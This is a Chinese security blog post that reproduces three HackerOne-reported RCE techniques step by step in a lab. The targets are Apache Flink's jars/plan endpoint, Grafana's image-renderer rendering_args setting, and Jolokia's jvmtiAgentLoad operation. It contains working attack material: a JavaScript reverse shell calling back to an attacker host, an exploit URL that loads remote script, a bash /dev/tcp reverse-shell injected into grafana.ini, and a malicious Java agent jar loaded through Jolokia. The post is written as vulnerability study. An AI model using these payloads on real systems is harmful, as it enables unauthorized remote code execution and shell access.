关于HackerOne上Grafana、jolokia、Flink攻击手法的学习

J7ur8 2022-11-30 10:56:00

前言

那天凑巧上HackerOne看看,所以jarij漏洞报告刚一放出来就看到了。但是看完三篇RCE的报告
- Apache Flink RCE via GET jar/plan API Endpoint
- aiven_ltd Grafana RCE via SMTP server parameter injection
- [Kafka Connect] [JdbcSinkConnector][HttpSinkConnector] RCE by leveraging file upload via SQLite JDBC driver and SSRF to internal Jolokia

后,想要搭建本地环境去复现,却无从下手。因为确实没有接触并实际使用过这些产品。也不知道一些功能如何去使用,如:
- 如何部署flink的job
- 如何新建一个grafana的dashboard等操作。

直到chybeta师傅在知识星球发了文章,及pyn3rd师傅发的文章一种JDBC Attack的新方式,我决定去学一下并搭建本地环境去复现jarij师傅的三篇漏洞报告。

下面将从环境搭建->攻击这样简单的两个步骤描述我复现的过程。中间涉及到的一些Java特性等知识点并未被充分的描述。这是因为我在学习的过程中,也只是简单理解并会使用,并不能很好的讲述其具体原理。

下文可配合漏洞作者的ppt使用

Apache Flink RCE via GET jar/plan API Endpoint

版本限制

  • jdk>8

环境搭建

  • Parallels Ubuntu20.04(IP:10.211.55.3)
  • 本机Macos(IP:10.211.55.2)

  • 访问Flink官网,下载并解压flink

wget https://archive.apache.org/dist/flink/flink-1.15.2/flink-1.15.2-bin-scala_2.12.tgz
tar zxvf flink-1.15.2-bin-scala_2.12.tgz

图片.png

  1. 安装openjdk
sudo apt install openjdk-11-jdk
java -version

图片.png

  1. 修改配置文件,放开局域网访问
sed -i 's/rest.bind-address: localhost/rest.bind-address: 0.0.0.0/' flink-1.15.2/conf/flink-conf.yaml
  1. 启动flink
cd flink-1.15.2/bin/
./start-cluster.sh
  1. 访问Flink服务,查看是否启动成功

图片.png

攻击

根据漏洞报告,目标环境不能发起post请求,但是可以在控制台执行job和发起get请求。

  1. 为模拟目标环境:我们先制作一个job的jar包,并上传运行。文件结构及内容如下:

图片.png

MANIFEST.MF(末尾要有换行符)

Manifest-Version: 1.0
Main-Class: UnboundStreamJob

UnBoundStreamJob.java

import java.util.Arrays;
import org.apache.flink.api.common.functions.FlatMapFunction;
import org.apache.flink.api.common.typeinfo.Types;
import org.apache.flink.api.java.tuple.Tuple2;
import org.apache.flink.streaming.api.datastream.DataStreamSource;
import org.apache.flink.streaming.api.datastream.SingleOutputStreamOperator;
import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment;

public class UnboundStreamJob {
    @SuppressWarnings("deprecation")
    public static void main(String[] args) throws Exception {
        StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
        DataStreamSource<String> source = env.socketTextStream("127.0.0.1", 9999);
        SingleOutputStreamOperator<Tuple2<String, Integer>> sum = source.flatMap((FlatMapFunction<String, Tuple2<String, Integer>>) (lines, out) -> {
            Arrays.stream(lines.split(" ")).forEach(s -> out.collect(Tuple2.of(s, 1)));
        }).returns(Types.TUPLE(Types.STRING, Types.INT)).keyBy(0).sum(1);
        sum.print("test");
        env.execute();
    }
}

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.xxx</groupId>
    <artifactId>flinkJobdemo</artifactId>
    <version>1.0</version>
    <packaging>jar</packaging>

    <name>flinkdemo</name>
    <url>http://maven.apache.org</url>

    <properties>
        <flink.version>1.13.1</flink.version>
        <scala.binary.version>2.12</scala.binary.version>
        <slf4j.version>1.7.30</slf4j.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-java</artifactId>
            <version>${flink.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-streaming-java_${scala.binary.version}</artifactId>
            <version>${flink.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-clients_${scala.binary.version}</artifactId>
            <version>${flink.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-runtime-web_${scala.binary.version}</artifactId>
            <version>${flink.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-connector-kafka-0.11_${scala.binary.version}</artifactId>
            <version>1.11.4</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.kafka</groupId>
            <artifactId>spring-kafka</artifactId>
            <version>2.7.8</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-api</artifactId>
            <version>${slf4j.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <version>${slf4j.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-to-slf4j</artifactId>
            <version>2.14.0</version>
            <scope>provided</scope>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.1</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <version>3.2.4</version>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                        <configuration>
                            <artifactSet>
                                <excludes>
                                    <exclude>com.google.code.findbugs:jsr305</exclude>
                                    <exclude>org.slf4j:*</exclude>
                                    <exclude>log4j:*</exclude>
                                </excludes>
                            </artifactSet>
                            <filters>
                                <filter>
                                    <!-- Do not copy the signatures in the META-INF folder.
                                    Otherwise, this might cause SecurityExceptions when using the JAR. -->
                                    <artifact>*:*</artifact>
                                    <excludes>
                                        <exclude>META-INF/*.SF</exclude>
                                        <exclude>META-INF/*.DSA</exclude>
                                        <exclude>META-INF/*.RSA</exclude>
                                    </excludes>
                                </filter>
                            </filters>
                            <transformers combine.children="append">
                                <transformer implementation="org.apache.maven.plugins.shade.resource.ServicesResourceTransformer">
                                </transformer>
                            </transformers>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>

使用Artifacts打包,从左往右依次点击蓝色高亮选项(选Empty下面的)

图片.png

配置成如下图所示

图片.png

点击OK

图片.png

从上到下,依次点击蓝色高亮选项

图片.png

点击Build,即可在out目录找到打包后的jar

图片.png

  1. 上传打包后的jar包

图片.png

正常情况下,会自动显示Entry-Class。点击Submit

  1. 本机(10.211.55.2)启动一个http.server,目录下放a.js,内容如下
var host="10.211.55.2";
var port=8044;
var cmd="/bin/bash";
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

启动服务,并测试服务可用

python3 -m http.server 8000

图片.png

  1. 在本机(10.211.55.2)监听8044端口

图片.png

  1. 攻击

访问 http://10.211.55.3:8081/jars/

图片.png

浏览器访问({idvalue}替换为上图的e3ea857b-4b5e-4889-8a03-3bc1fcfbd04a_flinkJobdemo.jar

http://10.211.55.3:8081/jars/{idvalue}/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load(%22http://10.211.55.2:8000/a.js%22)&parallelism=1

如下图a.js被访问,nc接收到反弹的shell

图片.png

注意:

  1. 复现过程中出错,可能会导致flink服务shutdown,需要手动kill进程ID
  2. 根据官方文档最新显示,/jars/:jarid/plan只支持post请求。但经过测试还是可以用get进行访问
  3. 尝试挖掘jdk8及以下是否有可利用的main函数,未果

参考:

Grafana Image Renderer配置文件RCE

环境搭建

VMware-ubuntu20.04下执行该命令

sudo apt-get install -y adduser libfontconfig1
wget https://dl.grafana.com/enterprise/release/grafana-enterprise_7.5.4_amd64.deb
sudo dpkg -i grafana-enterprise_7.5.4_amd64.deb

sudo grafana-cli plugins install grafana-image-renderer 3.0.0
sudo apt-get install libx11-6 libx11-xcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrender1 libxtst6 libglib2.0-0 libnss3 libcups2  libdbus-1-3 libxss1 libxrandr2 libgtk-3-0 libasound2 libxcb-dri3-0 libgbm1 libxshmfence1 -y

sudo systemctl daemon-reload
sudo systemctl start grafana-server
sudo systemctl status grafana-server

攻击过程

  1. 修改配置文件grafana.ini的内容
sudo vim /etc/grafana/grafana.ini
rendering_args = --renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/127.0.0.1/4444$IFS0<&1$IFS2>&1

图片.png

重启grafana服务

sudo systemctl restart grafana-server
  1. 监听VMware-ubuntu20.044444端口

图片.png

  1. 访问http://{VMware-ubuntu20.04}:3000,登录后,新建一个dashboard(默认的即可)

图片.png

点击share

图片.png

点击direct link rendered image

图片.png

  1. 查看nc监听窗口,执行命令成功

图片.png

注意

  • 经过测试,要使用grafana 7才能成功。如果使用grafana 8及其以上,配置了rendering_args参数后使用/render功能会立即报错无法加载chrome进程等(我tm找了好久的原因,一度放弃= =,以为是环境问题,结果是版本问题,但我没有进一步探寻为什么高版本不行了);同时高版本下rendering_args参数值最后的特殊字符也会被urlencode(图丢了略

  • 关于grafana-image-renderer的版本,因为中间我尝试使用了docker grafana 7.5.4配合docker grafana-image-renderer latest搭建环境,但是报错了,所以就选择了3.0.0版本。故本文也延用了该版本。

参考文章

jvmtiAgentLoad操作RCE

版本限制:

  • 大于等于JDK9

JDK8及其以下的jolokiacom.sun.management未能找到jvmtiAgentLoad操作。

环境搭建

Macos下idea直接启动Spring服务(JDK11)

配置一个存在actuator/jolokia接口的Spring服务,可以参考Landgrey师父的环境。配置好Idea后启动服务

图片.png

使用浏览器访问 http://127.0.0.1:9094

图片.png

如上图所示,环境搭建成功

攻击

  1. 访问: http://localhost:9094/jolokia/list 搜索jvmtiAgentLoad,可以看到存在该操作。

图片.png

该操作的利用涉及到一个概念JVMTI,参考pyn3rd师傅的文章。大概了解是什么意思后,我们知道需要实现一个Java Agent Jar,供jvmtiAgentLoad加载实现RCE。

  1. 实现JavaAgent Jar。其目录结构,及各个文件内容如下:
j7ur8@192 /tmp % tree evilagent 
evilagent
├── META-INF
   └── MANIFEST.MF
├── evil.jar
└── org
    └── example
        └── JavaAgent.java

3 directories, 3 files
j7ur8@192 /tmp % cat evilagent/META-INF/MANIFEST.MF 
Manifest-Version: 1.0
Agent-Class: org.example.JavaAgent

j7ur8@192 /tmp % cat evilagent/org/example/JavaAgent.java
package org.example;

import java.lang.instrument.Instrumentation;

public class JavaAgent {
    private static final String RCE_COMMAND = "open -a Calculator.app";
    public static void agentmain(String args, Instrumentation inst){
        System.out.println("success123123");
        try{
           Runtime.getRuntime().exec(RCE_COMMAND);
        }catch (Exception e){
       e.printStackTrace();
    }
    System.out.println("fail"); 
    }

}
j7ur8@192 /tmp % 

将其打包成jar文件

javac org/example/JavaAgent.java
jar cfvm evil.jar META-INF/MANIFEST.MF . .

图片.png

  1. 使用jvmtiAgentLoad操作加载恶意JavaAgent
http://127.0.0.1:9094/jolokia/exec/com.sun.management:type=DiagnosticCommand/jvmtiAgentLoad/!/tmp!/evilagent!/evil.jar

成功弹出计算器

图片.png

参考

总结

上述三种攻击手法的环境要求基本都需要JDK>8,这样的话,了解和熟悉专业产品才能进行更好的攻击吧。

评论

J

J7ur8

这个人很懒,没有留下任何介绍

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MasterK

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B

BigYoung

这个bp插件有点厉害的样子~

B

BigYoung

不错 不错

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Alston

写得好!

Crispr

nb啊

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